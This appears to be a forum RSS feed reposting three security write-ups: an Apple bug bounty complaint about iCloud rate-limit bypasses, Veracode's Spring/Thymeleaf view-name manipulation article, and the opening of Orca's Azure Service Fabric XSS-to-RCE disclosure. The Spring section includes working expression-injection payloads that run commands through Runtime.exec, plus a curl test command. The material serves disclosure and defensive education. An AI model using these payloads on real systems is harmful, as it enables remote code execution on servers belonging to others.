	<p style="text-align:center;">
		 
	</p>
</div>

<p>
	When we enter the passcode in an iPhone / iPad during password reset, the device initiates SRP authentication by sending the user session token obtained from the successful SMS verification. The server responds back with the salt of the respective user. The passcode and the salt are hashed to then derive the final key which is sent to <a href="https://p50-escrowproxy.icloud.com/escrowproxy/api/recover" rel="external nofollow">https://p50-escrowproxy.icloud.com/escrowproxy/api/recover</a> to check whether it matches the key computed (using ephemeral, salt and verifier) on the server.
</p>

<p>
	 
</p>

<p>
	And the POST request sent to verify the key looked like this
</p>

<p>
	 
</p>

<p>
	<img alt="iphonepasscode.jpg" data-ratio="78.62" srcset="https://thezerohack.com/wp-content/uploads/2021/06/iphonepasscode.jpg 954w, https://thezerohack.com/wp-content/uploads/2021/06/iphonepasscode-300x242.jpg 300w, https://thezerohack.com/wp-content/uploads/2021/06/iphonepasscode-768x621.jpg 768w, https://thezerohack.com/wp-content/uploads/2021/06/iphonepasscode-696x562.jpg 696w" style="height:auto;" width="954" src="https://thezerohack.com/wp-content/uploads/2021/06/iphonepasscode.jpg" />
</p>

<p>
	 
</p>

<p>
	String tag has all the data mentioned above but are sent in DATA BLOB format. The first thing I wanted to check is rate limit before decoding the values of BLOB. I sent the request 30 times concurrently to check whether the endpoint was vulnerable.
</p>

<p>
	 
</p>

<div>
	<img alt="image-8.png" data-ratio="32.64" srcset="https://thezerohack.com/wp-content/uploads/2021/06/image-8.png 956w, https://thezerohack.com/wp-content/uploads/2021/06/image-8-300x98.png 300w, https://thezerohack.com/wp-content/uploads/2021/06/image-8-768x251.png 768w, https://thezerohack.com/wp-content/uploads/2021/06/image-8-696x227.png 696w" style="height:auto;" width="956" src="https://thezerohack.com/wp-content/uploads/2021/06/image-8.png" />
</div>

<p>
	 
</p>

<p>
	To my shock, it wasn’t vulnerable. Out of 30 requests, 29 of them were rejected with internal server error.
</p>

<p>
	Rate limiting would be performed in the Apple server itself or in HSM (hardware security module). Either way, the rate limit logic should be programmed as such to prevent race hazard. There is very bleak chance for this endpoint to be not vulnerable to race hazard before my report because all the other endpoints I tested was vulnerable – SMS code validation, email code validation, two factor authentication, password validation was all vulnerable.
</p>

<p>
	 
</p>

<p>
	If they did patch it after my report, the vulnerability became a lot more severe than what I initially thought. Through bruteforcing the passcode, we will be able to identify the correct passcode by differentiating the responses. So we not only can takeover any iCloud account but also discover the passcode of the Apple device associated with it. Even though the attack is complex, this vulnerability could hack any iPhone / iPad that has 4 digit / 6 digit numeric passcode if my assumption is right.
</p>

<p>
	 
</p>

<p>
	Since it is now validating the concurrent requests properly, there is no way for me to verify my claim, the only way I can confirm this is by writing to Apple but they aren’t giving any response in this regard.
</p>

<p>
	I got the bounty email from Apple on June 4th, 2021.
</p>

<p>
	 
</p>

<div>
	<img alt="applebounty-1024x338.jpg" data-ratio="33.80" srcset="https://thezerohack.com/wp-content/uploads/2021/06/applebounty-1024x338.jpg 1024w, https://thezerohack.com/wp-content/uploads/2021/06/applebounty-300x99.jpg 300w, https://thezerohack.com/wp-content/uploads/2021/06/applebounty-768x254.jpg 768w, https://thezerohack.com/wp-content/uploads/2021/06/applebounty-696x230.jpg 696w, https://thezerohack.com/wp-content/uploads/2021/06/applebounty.jpg 1369w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/06/applebounty-1024x338.jpg" />
</div>

<p>
	 
</p>

<p>
	The actual bounty mentioned for iCloud account takeover in Apple’s website is $100,000 USD. Extracting sensitive data from locked Apple device is $250,000 USD. My report covered both the scenarios (assuming the passcode endpoint was patched after my report), so the actual bounty should be $350,0000. Even if they chose to award the maximum impact out of the two cases, it should still be $250,000 USD.
</p>

<p>
	 
</p>

<p>
	Selling these kind of vulnerabilities to government agencies or private bounty programs like <a href="https://zerodium.com/program.html" rel="external nofollow">zerodium </a>could have made a lot more money. But I chose the ethical way and I didn’t expect anything more than the outlined bounty amounts by Apple.
</p>

<p>
	 
</p>

<div>
	<img alt="applebounty1-1024x618.jpg" data-ratio="61.80" srcset="https://thezerohack.com/wp-content/uploads/2021/06/applebounty1-1024x618.jpg 1024w, https://thezerohack.com/wp-content/uploads/2021/06/applebounty1-300x181.jpg 300w, https://thezerohack.com/wp-content/uploads/2021/06/applebounty1-768x464.jpg 768w, https://thezerohack.com/wp-content/uploads/2021/06/applebounty1-696x420.jpg 696w, https://thezerohack.com/wp-content/uploads/2021/06/applebounty1.jpg 1244w" style="height:auto;" width="1000" src="https://thezerohack.com/wp-content/uploads/2021/06/applebounty1-1024x618.jpg" /> <a href="https://developer.apple.com/security-bounty/payouts/" rel="external nofollow">https://developer.apple.com/security-bounty/payouts/</a>
</div>

<p>
	 
</p>

<p>
	But $18,000 USD is not even close to the actual bounty. Lets say all my assumptions are wrong and Apple passcode verifying endpoint wasn’t vulnerable before my report. Even then the given bounty is not fair looking at the impact of the vulnerability as given below.
</p>

<p>
	 
</p>

<ul>
	<li>
		Bypassed the two factor authentication. It is literally like 2FA doesn’t exist due to the bypass. People who are all relying on 2FA are vulnerable. This itself is a major vulnerability.
	</li>
	<li>
		Bypassed the password validation rate limits. All the Apple ID accounts that use common / weak / hacked passwords are vulnerable even if they have two factor authentication enabled. Once hacked, the attacker can track the location of the device as well as wipe the device remotely. 2014 celebrities iCloud hack is majorly because of weak passwords.
	</li>
	<li>
		Bypassed the SMS verification. If we know the passcode or password of the device associated with the iCloud account. Lets say any of your friends or relatives knows your device passcode, using this vulnerability, they can takeover your iCloud account and also can erase your entire device remotely over the internet without having physical access to it.
	</li>
	<li>
		We can takeover all Apple IDs that are not associated with a passcode protected Apple device due to both SMS and email verification code bypass, which means
		<ul>
			<li>
				Any apple device without passcode or password, like anyone who turned off or didn’t set the passcode / password.
			</li>
			<li>
				Any Apple ID created without apple device, like in browsers or in an android app and not been used in password protected apple devices
			</li>
			<li>
				For example, 50 Million+ android users have downloaded Apple music app. In those, majority of them may not have used Apple devices. They are still Apple users and their information like credit cards, billing address, subscription details, etc could be exposed.
			</li>
		</ul>
	</li>
</ul>

<p>
	 
</p>

<p>
	They need not reward the upper cap of the iCloud account takeover ($100k) but it should at least be close to it considering the impact it has created.
</p>

<p>
	 
</p>

<p>
	After all my hard work and almost a year of waiting, I didn’t get what I deserved because of Apple’s unfair judgement. So I refused to receive the bounty and told them it is unfair. I asked them to reconsider the bounty decision or let me publish the report with all the information. There wasn’t any response to my emails. So I have decided to publish my article without waiting for their response indefinitely.
</p>

<p>
	 
</p>

<p>
	Therefore, I shared my research with Apple for FREE of cost instead of an unfair price.
</p>

<p>
	I request Apple security team to be more transparent and fair at least in the future. I would like to thank Apple for patching the vulnerability.
</p>

<p>
	 
</p>

<p>
	I repeat, the vulnerability is completely fixed and the scenarios described above no longer works. Thank you for reading the article! Please let me know your thoughts in comments.
</p>

<p>
	 
</p>

<p>
	Source: <a href="https://thezerohack.com/apple-vulnerability-bug-bounty" rel="external nofollow">https://thezerohack.com/apple-vulnerability-bug-bounty</a>
</p>
]]></description><guid isPermaLink="false">114820</guid><pubDate>Tue, 22 Jun 2021 10:55:10 +0000</pubDate></item><item><title>Spring View Manipulation Vulnerability</title><link>https://rstforums.com/forum/topic/113581-spring-view-manipulation-vulnerability/</link><description><![CDATA[<p>
	In this article, we explain how dangerous an unrestricted view name manipulation in Spring Framework could be. Before doing so, let's look at the simplest Spring application that uses Thymeleaf as a templating engine:
</p>

<p style="text-align:center;">
	<img alt="structure.png" class="ipsImage" data-ratio="113.94" height="750" width="658" src="https://raw.githubusercontent.com/veracode-research/spring-view-manipulation/master/structure.png">
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	<a href="https://github.com/veracode-research/spring-view-manipulation/blob/master/src/main/java/com/veracode/research/HelloController.java" rel="external nofollow">HelloController.java:</a>
</p>

<pre class="ipsCode prettyprint lang-javascript prettyprinted">
<span class="lit">@Controller</span><span class="pln">
</span><span class="kwd">public</span><span class="pln"> </span><span class="kwd">class</span><span class="pln"> </span><span class="typ">HelloController</span><span class="pln"> </span><span class="pun">{</span><span class="pln">

    </span><span class="lit">@GetMapping</span><span class="pun">(</span><span class="str">"/"</span><span class="pun">)</span><span class="pln">
    </span><span class="kwd">public</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> index</span><span class="pun">(</span><span class="typ">Model</span><span class="pln"> model</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
        model</span><span class="pun">.</span><span class="pln">addAttribute</span><span class="pun">(</span><span class="str">"message"</span><span class="pun">,</span><span class="pln"> </span><span class="str">"happy birthday"</span><span class="pun">);</span><span class="pln">
        </span><span class="kwd">return</span><span class="pln"> </span><span class="str">"welcome"</span><span class="pun">;</span><span class="pln">
    </span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	 
</p>

<p>
	Due to the use of <em>@Controller</em> and <em>@GetMapping("/")</em> annotations, this method will be called for every HTTP GET request for the root url ('/'). It does not have any parameters and returns a static string "welcome". Spring framework interprets "welcome" as a View name, and tries to find a file "resources/templates/welcome.html" located in the application resources. If it finds it, it renders the view from the template file and returns to the user. If the Thymeleaf view engine is in use (which is the most popular for Spring), the template may look like this:
</p>

<p>
	<a href="https://github.com/veracode-research/spring-view-manipulation/blob/master/src/main/resources/templates/welcome.html" rel="external nofollow">welcome.html:</a>
</p>

<pre class="ipsCode prettyprint lang-html prettyprinted">
<span class="dec">&lt;!DOCTYPE HTML&gt;</span><span class="pln">
</span><span class="tag">&lt;html</span><span class="pln"> </span><span class="atn">lang</span><span class="pun">=</span><span class="atv">"en"</span><span class="pln"> </span><span class="atn">xmlns:th</span><span class="pun">=</span><span class="atv">"http://www.thymeleaf.org"</span><span class="tag">&gt;</span><span class="pln">
</span><span class="tag">&lt;div</span><span class="pln"> </span><span class="atn">th:fragment</span><span class="pun">=</span><span class="atv">"header"</span><span class="tag">&gt;</span><span class="pln">
    </span><span class="tag">&lt;h3&gt;</span><span class="pln">Spring Boot Web Thymeleaf Example</span><span class="tag">&lt;/h3&gt;</span><span class="pln">
</span><span class="tag">&lt;/div&gt;</span><span class="pln">
</span><span class="tag">&lt;div</span><span class="pln"> </span><span class="atn">th:fragment</span><span class="pun">=</span><span class="atv">"main"</span><span class="tag">&gt;</span><span class="pln">
    </span><span class="tag">&lt;span</span><span class="pln"> </span><span class="atn">th:text</span><span class="pun">=</span><span class="atv">"'Hello, ' + ${message}"</span><span class="tag">&gt;&lt;/span&gt;</span><span class="pln">
</span><span class="tag">&lt;/div&gt;</span><span class="pln">
</span><span class="tag">&lt;/html&gt;</span></pre>

<p>
	 
</p>

<p>
	Thymeleaf engine also support <a href="https://www.thymeleaf.org/doc/articles/layouts.html" rel="external nofollow">file layouts</a>. For example, you can specify a fragment in the template by using <em>&lt;div th:fragment="main"&gt; </em>and then request only this fragment from the view:
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted">
<span class="lit">@GetMapping</span><span class="pun">(</span><span class="str">"/main"</span><span class="pun">)</span><span class="pln">
</span><span class="kwd">public</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> fragment</span><span class="pun">()</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    </span><span class="kwd">return</span><span class="pln"> </span><span class="str">"welcome :: main"</span><span class="pun">;</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	 
</p>

<p>
	Thymeleaf is intelligent enough to return only the 'main' div from the welcome view, not the whole document.
</p>

<p>
	 
</p>

<p>
	From a security perspective, there may be a situation when a template name or a fragment are concatenated with untrusted data. For example, with a request parameter:
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted">
<span class="lit">@GetMapping</span><span class="pun">(</span><span class="str">"/path"</span><span class="pun">)</span><span class="pln">
</span><span class="kwd">public</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> path</span><span class="pun">(</span><span class="lit">@RequestParam</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> lang</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    </span><span class="kwd">return</span><span class="pln"> </span><span class="str">"user/"</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> lang </span><span class="pun">+</span><span class="pln"> </span><span class="str">"/welcome"</span><span class="pun">;</span><span class="pln"> </span><span class="com">//template path is tainted</span><span class="pln">
</span><span class="pun">}</span><span class="pln">

</span><span class="lit">@GetMapping</span><span class="pun">(</span><span class="str">"/fragment"</span><span class="pun">)</span><span class="pln">
</span><span class="kwd">public</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> fragment</span><span class="pun">(</span><span class="lit">@RequestParam</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> section</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    </span><span class="kwd">return</span><span class="pln"> </span><span class="str">"welcome :: "</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> section</span><span class="pun">;</span><span class="pln"> </span><span class="com">//fragment is tainted</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	 
</p>

<p>
	The first case may contain a potential path traversal vulnerability, but a user is limited to the 'templates' folder on the server and cannot view any files outside it. The obvious exploitation approach would be to try to find a separate file upload and create a new template, but that's a different issue.
</p>

<p>
	 
</p>

<p>
	<strong>Luckily for bad guys</strong>, before loading the template from the filesystem, <a href="https://github.com/thymeleaf/thymeleaf-spring/blob/74c4203bd5a2935ef5e571791c7f286e628b6c31/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/view/ThymeleafView.java" rel="external nofollow">Spring ThymeleafView</a> class parses the template name as an expression:
</p>

<pre class="ipsCode prettyprint lang-javascript prettyprinted">
<span class="kwd">try</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
   </span><span class="com">// By parsing it as a standard expression, we might profit from the expression cache</span><span class="pln">
   fragmentExpression </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="typ">FragmentExpression</span><span class="pun">)</span><span class="pln"> parser</span><span class="pun">.</span><span class="pln">parseExpression</span><span class="pun">(</span><span class="pln">context</span><span class="pun">,</span><span class="pln"> </span><span class="str">"~{"</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> viewTemplateName </span><span class="pun">+</span><span class="pln"> </span><span class="str">"}"</span><span class="pun">);</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	 
</p>

<p>
	So, the aforementioned controllers may be exploited not by path traversal, but by expression language injection:
</p>

<p>
	 
</p>

<p>
	<strong>Exploit for /path (should be url-encoded)</strong>
</p>

<pre class="ipsCode">
GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x HTTP/1.1</pre>

<p style="text-align:center;">
	<img alt="exploit.png" class="ipsImage" data-ratio="90.59" height="750" width="828" src="https://raw.githubusercontent.com/veracode-research/spring-view-manipulation/master/exploit.png">
</p>

<p>
	 
</p>

<p>
	In this exploit we use the power of <a href="https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/" rel="external nofollow">expression preprocessing</a>: by surrounding the expression with __${ and }__::.x we can make sure it's executed by thymeleaf no matter what prefixes or suffixes are.
</p>

<p>
	 
</p>

<p>
	<strong>To summarize</strong>, whenever untrusted data comes to a view name returned from the controller, it could lead to expression language injection and therefore to Remote Code Execution.
</p>

<p>
	 
</p>

<p>
	<strong>Even more magic</strong>
</p>

<p>
	In the previous examples, controllers return strings, explicitly telling Spring what view name to use, but that's not always the case. As <a href="https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#mvc-ann-return-types" rel="external nofollow">described in the documentation</a>, for some return types such as void, java.util.Map or org.springframework.ui.Model:
</p>

<blockquote class="ipsQuote" data-ipsquote="">
	<div class="ipsQuote_citation">
		Quote
	</div>

	<div class="ipsQuote_contents">
		<p>
			the view name implicitly determined through a RequestToViewNameTranslator
		</p>
	</div>
</blockquote>

<p>
	 
</p>

<p>
	It means that a controller like this:
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted">
<span class="lit">@GetMapping</span><span class="pun">(</span><span class="str">"/doc/{document}"</span><span class="pun">)</span><span class="pln">
</span><span class="kwd">public</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> getDocument</span><span class="pun">(</span><span class="lit">@PathVariable</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> document</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    log</span><span class="pun">.</span><span class="pln">info</span><span class="pun">(</span><span class="str">"Retrieving "</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> document</span><span class="pun">);</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	 
</p>

<p>
	may look absolutely innocent at first glance, it does almost nothing, but since Spring does not know what View name to use, <strong>it takes it from the request URI</strong>. Specifically, DefaultRequestToViewNameTranslator does the following:
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted">
<span class="com">/**
 * Translates the request URI of the incoming {@link HttpServletRequest}
 * into the view name based on the configured parameters.
 * @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest
 * @see #transformPath
 */</span><span class="pln">
</span><span class="lit">@Override</span><span class="pln">
</span><span class="kwd">public</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> getViewName</span><span class="pun">(</span><span class="typ">HttpServletRequest</span><span class="pln"> request</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    </span><span class="typ">String</span><span class="pln"> lookupPath </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">this</span><span class="pun">.</span><span class="pln">urlPathHelper</span><span class="pun">.</span><span class="pln">getLookupPathForRequest</span><span class="pun">(</span><span class="pln">request</span><span class="pun">,</span><span class="pln"> </span><span class="typ">HandlerMapping</span><span class="pun">.</span><span class="pln">LOOKUP_PATH</span><span class="pun">);</span><span class="pln">
    </span><span class="kwd">return</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">this</span><span class="pun">.</span><span class="pln">prefix </span><span class="pun">+</span><span class="pln"> transformPath</span><span class="pun">(</span><span class="pln">lookupPath</span><span class="pun">)</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="kwd">this</span><span class="pun">.</span><span class="pln">suffix</span><span class="pun">);</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	 
</p>

<p>
	So it also become vulnerable as the user controlled data (URI) comes directly to view name and resolved as expression.
</p>

<p>
	 
</p>

<p>
	<strong>Exploit for /doc (should be url-encoded)</strong>
</p>

<pre class="ipsCode prettyprint lang-html prettyprinted">
<span class="pln">GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x HTTP/1.1</span></pre>

<p>
	 
</p>

<p>
	<strong>Safe case: ResponseBody</strong>
</p>

<p>
	There are also some cases when a controller returns a used-controlled value, but they are not vulnerable to view name manipulation. For example, when the controller is annotated with @ResponseBody:
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted">
<span class="lit">@GetMapping</span><span class="pun">(</span><span class="str">"/safe/fragment"</span><span class="pun">)</span><span class="pln">
</span><span class="lit">@ResponseBody</span><span class="pln">
</span><span class="kwd">public</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> safeFragment</span><span class="pun">(</span><span class="lit">@RequestParam</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> section</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    </span><span class="kwd">return</span><span class="pln"> </span><span class="str">"welcome :: "</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> section</span><span class="pun">;</span><span class="pln"> </span><span class="com">//FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	 
</p>

<p>
	In this case, Spring Framework does not interpret it as a view name, but just returns this string in HTTP Response. The same applies to @RestController on a class, as internally it inherits @ResponseBody.
</p>

<p>
	 
</p>

<p>
	<strong>Safe case: A redirect</strong>
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted">
<span class="lit">@GetMapping</span><span class="pun">(</span><span class="str">"/safe/redirect"</span><span class="pun">)</span><span class="pln">
</span><span class="kwd">public</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> redirect</span><span class="pun">(</span><span class="lit">@RequestParam</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> url</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    </span><span class="kwd">return</span><span class="pln"> </span><span class="str">"redirect:"</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> url</span><span class="pun">;</span><span class="pln"> </span><span class="com">//CWE-601, as we can control the hostname in redirect</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	 
</p>

<p>
	When the view name is prepended by <em>"redirect:"</em> the logic is also different. In this case, Spring does not use<a href="https://github.com/thymeleaf/thymeleaf-spring/blob/74c4203bd5a2935ef5e571791c7f286e628b6c31/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/view/ThymeleafView.java" rel="external nofollow"> Spring ThymeleafView</a> anymore but a<a href="https://github.com/spring-projects/spring-framework/blob/master/spring-webmvc/src/main/java/org/springframework/web/servlet/view/RedirectView.java" rel="external nofollow"> RedirectView</a>, which does not perform expression evaluation. This example still has an open redirect vulnerability, but it is certainly not as dangerous as RCE via expression evaluation.
</p>

<p>
	 
</p>

<p>
	<strong>Safe case: Response is already processed</strong>
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted">
<span class="lit">@GetMapping</span><span class="pun">(</span><span class="str">"/safe/doc/{document}"</span><span class="pun">)</span><span class="pln">
</span><span class="kwd">public</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> getDocument</span><span class="pun">(</span><span class="lit">@PathVariable</span><span class="pln"> </span><span class="typ">String</span><span class="pln"> document</span><span class="pun">,</span><span class="pln"> </span><span class="typ">HttpServletResponse</span><span class="pln"> response</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
    log</span><span class="pun">.</span><span class="pln">info</span><span class="pun">(</span><span class="str">"Retrieving "</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> document</span><span class="pun">);</span><span class="pln"> </span><span class="com">//FP</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	 
</p>

<p>
	This case is very similar to one of the previous vulnerable examples, but since the controller has HttpServletResponse in parameters, Spring considers that it's already processed the HTTP Response, so the view name resolution just does not happen. This check exists in the <em>ServletResponseMethodArgumentResolver</em> class.
</p>

<p>
	 
</p>

<p>
	<strong>Conclusion</strong>
</p>

<p>
	Spring is a framework with a bit of magic, it allows developers to write less code but sometimes this magic turns black. It's important to understand situations when user controlled data goes to sensitive variables (such as view names) and prevent them accordingly. Stay safe.
</p>

<p>
	 
</p>

<p>
	<strong>Test locally</strong>
</p>

<p>
	Java 8+ and Maven required
</p>

<pre class="ipsCode">
cd spring-view-manipulation
mvn spring-boot:run
curl 'localhost:8090/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x'</pre>

<p>
	 
</p>

<p>
	<strong>Credits</strong>
</p>

<p>
	This project was co-authored by <a href="https://twitter.com/artsploit" rel="external nofollow">Michael Stepankin</a> and <a href="https://twitter.com/otavorteppesuig" rel="external nofollow">Giuseppe Trovato</a> at Veracode<br>
	Authors would like to thank <a href="https://www.acunetix.com/blog/author/alekseitiurin/" rel="external nofollow">Aleksei Tiurin</a> from Acunetix for the excellent research on <a href="https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/" rel="external nofollow">SSTI vulnerabilities in Thymeleaf</a>
</p>

<p>
	 
</p>

<p>
	Source: <a href="https://github.com/veracode-research/spring-view-manipulation" rel="external nofollow">github.com</a>
</p>
]]></description><guid isPermaLink="false">113581</guid><pubDate>Sun, 06 Sep 2020 02:46:28 +0000</pubDate></item><item><title>Super FabriXss: From XSS to an RCE in Azure Service Fabric Explorer by Abusing an Event Tab Cluster Toggle (CVE-2023-23383)</title><link>https://rstforums.com/forum/topic/116546-super-fabrixss-from-xss-to-an-rce-in-azure-service-fabric-explorer-by-abusing-an-event-tab-cluster-toggle-cve-2023-23383/</link><description><![CDATA[<div>
	<div>
		<div>
			<div>
				<span style="font-size:16px;"><span style="color:#999999;"><img alt="Blog-graphic_Super-FabriXss_Cover.jpg" data-ratio="75.08" src="https://orca.security/wp-content/uploads/2023/03/Blog-graphic_Super-FabriXss_Cover.jpg" /></span></span>
			</div>
		</div>
	</div>
</div>

<div>
	<div>
		<p>
			 
		</p>
	</div>

	<div>
		<div>
			<p>
				 
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Today, at BlueHat IL 2023, we proudly announced our discovery of a new vulnerability in Azure, which we’ve dubbed ‘Super FabriXss.’ In our presentation, we demonstrated how we were able to escalate a reflected XSS vulnerability in Azure Service Fabric Explorer to an unauthenticated Remote Code Execution by abusing the metrics tab and enabling a specific option in the console – the ‘Cluster Type’ toggle. For the full story, please read our blog post below.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Super FabriXss (CVE-2023-23383) is a dangerous Cross-Site Scripting (XSS) vulnerability discovered by the </span><a href="https://orca.security/about/orca-research-pod/" rel="external nofollow"><span style="color:#999999;">Orca Research Pod</span></a><span style="color:#999999;"> that affects Azure Service Fabric Explorer (SFX). This vulnerability enables unauthenticated remote attackers to execute code on a container hosted on a Service Fabric node.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Orca Security immediately reported the vulnerability to the Microsoft Security Response Center (MSRC), who investigated the issue and assigned it </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-23383" rel="external nofollow"><span style="color:#999999;">CVE-2023-23383</span></a><span style="color:#999999;"> (CVSS 8.2) with ‘Important’ severity. Microsoft released a fix and included it in their March 2023 Patch Tuesday.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">We would like to express our gratitude to Microsoft for the collaboration and prompt responses, as well as their diligent efforts in releasing a patch for the vulnerability.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">In this blog post, we’ll explore the details of how we found Super FabriXss, the risks it poses, as well as provide recommendations on how to mitigate the vulnerability.</span></span>
			</p>

			<p>
				 
			</p>

			<h2>
				<span style="font-size:16px;"><span style="color:#999999;">Executive Summary</span></span>
			</h2>

			<ul>
				<li>
					<span style="font-size:16px;"><span style="color:#999999;">Orca Security found a dangerous Cross-Site Scripting (XSS) vulnerability in Azure Service Fabric Explorer (SFX) that we named ‘Super FabriXss’ and was assigned </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-23383" rel="external nofollow"><span style="color:#999999;">CVE-2023-23383</span></a><span style="color:#999999;"> by Microsoft.</span></span>
				</li>
			</ul>

			<p>
				 
			</p>

			<ul>
				<li>
					<span style="font-size:16px;"><span style="color:#999999;">The Super FabriXss vulnerability enables remote attackers to leverage an XSS vulnerability to achieve remote code execution on a container hosted on a Service Fabric node without the need for authentication.</span></span>
				</li>
			</ul>

			<p>
				 
			</p>

			<ul>
				<li>
					<span style="font-size:16px;"><span style="color:#999999;">What started initially as a discovery of an XSS vulnerability that allowed a malicious script to be reflected off a web application, ended up being a full remote code execution (RCE) vulnerability after clicking on a crafted malicious URL and toggling the ‘Cluster’ Event Type setting under the Events tab.</span></span>
				</li>
			</ul>

			<p>
				 
			</p>

			<ul>
				<li>
					<span style="font-size:16px;"><span style="color:#999999;">Organizations using Service Fabric Explorer version 9.1.1436.9590 or earlier are vulnerable to this CVE. Microsoft included a patch for this vulnerability in their March 2023 Patch Tuesday. If automatic updates are applied, no further action is needed.</span></span>
				</li>
			</ul>

			<p>
				 
			</p>

			<ul>
				<li>
					<span style="font-size:16px;"><span style="color:#999999;">This is the second XSS vulnerability Orca found in Azure Service Fabric Explorer. The first one was called </span><a href="https://orca.security/resources/blog/fabrixss-vulnerability-azure-fabric-explorer/" rel="external nofollow"><span style="color:#999999;">FabriXss</span></a><span style="color:#999999;">. Since the second one is much more dangerous, we decided to call it ‘Super FabriXss.’</span></span>
				</li>
			</ul>

			<h2>
				<span style="font-size:16px;"><span style="color:#999999;">FabriXss? Sounds Familiar.</span></span>
			</h2>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">If the name ‘</span><a href="https://orca.security/resources/blog/fabrixss-vulnerability-azure-fabric-explorer/" rel="external nofollow"><span style="color:#999999;">FabriXss</span></a><span style="color:#999999;">’ sounds familiar, it’s because this is the second XSS vulnerability that Orca discovered in Azure Service Fabric Explorer. However, unlike the first one, this vulnerability is much more dangerous. With Super FabriXss, a remote unauthenticated attacker can execute code on a container hosted on one of the Service Fabric nodes. This means that an attacker could potentially gain control of critical systems and cause significant damage.</span></span>
			</p>

			<p>
				 
			</p>

			<h2>
				<span style="font-size:16px;"><span style="color:#999999;">About the Super FabriXss Vulnerability</span></span>
			</h2>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Orca uncovered a critical vulnerability in Azure Service Fabric Explorer that we were able to exploit by sending a crafted URL to any Azure Service Fabric user. The vulnerability arises from a vulnerable ‘Node Name’ parameter, which can be exploited to embed an iframe in the user’s context. This iframe then retrieves remote files from a server controlled by the attacker, eventually leading to the execution of a malicious PowerShell reverse shell. This attack chain can ultimately result in remote code execution on the container which is deployed to the cluster, potentially allowing an attacker to take control of critical systems.</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">Discovery and Remediation Timeline:</span></span>
			</p>

			<p>
				 
			</p>

			<p>
				<span style="font-size:16px;"><span style="color:#999999;">● Orca reported the vulnerability to MSRC via MSRC VDP on December 20, 2022</span></span>
			</p>

			<p>
